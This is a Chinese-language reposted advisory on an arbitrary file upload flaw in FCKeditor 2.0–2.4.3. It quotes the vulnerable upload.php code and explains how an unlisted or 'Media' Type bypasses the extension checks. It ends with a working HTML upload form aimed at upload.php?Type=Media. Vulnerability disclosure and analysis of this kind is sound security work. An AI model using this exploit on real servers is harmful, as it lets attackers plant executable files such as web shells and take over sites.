文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>FCKeditor 2.0-2.4.3漏洞分析

FCKeditor 2.0-2.4.3漏洞分析

时间:2010-11-11  来源:grabz

发布日期:2010-11.11
发布作者:grabz

影响版本:FCKeditor 2.0-2.4.3
官方地址:http://sourceforge.net/projects/fckeditor/
 

漏洞分析:

version 2.0 - 2.2

FCKeditor/editor/filemanager/upload/php/upload.php

#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

#

#// Get the allowed and denied extensions arrays.

#$arAllowed = $Config['AllowedExtensions'][$sType] ;

#$arDenied = $Config['DeniedExtensions'][$sType] ;
 

这里我们发送任何类型未在文件、FLASH、图片和文本上传扩展名“.php”的文件。

 

version 2.3.0 - 2.4.3:

 FCKeditor/editor/filemanager/upload/php/upload.php

#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

#// Check if it is an allowed type.

#if ( !in_array( $sType, array('File','Image','Flash','Media') ) )

# SendResults( 1, '', '', 'Invalid type specified' ) ;

#// Get the allowed and denied extensions arrays.

#$arAllowed = $Config['AllowedExtensions'][$sType] ;

#$arDenied = $Config['DeniedExtensions'][$sType] ;

in this code we can see filter by Type, but in config.php

$Config['AllowedExtensions']['Media'] and

$Config['DeniedExtensions']['Media'] not exists))

当发送类型为media时,可以上传任意文件。

Exploit

<form enctype="multipart/form-data" action="    http://localhost/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"    method="post">    <input name="NewFile" type="file">       <input type="submit" value="submit">    </form>    

 

标签分类: 文件上传

相关阅读 更多 +
排行榜 更多 +
幸存者的命运

幸存者的命运

飞行射击 下载
精英战区3d

精英战区3d

飞行射击 下载
货运猎人

货运猎人

飞行射击 下载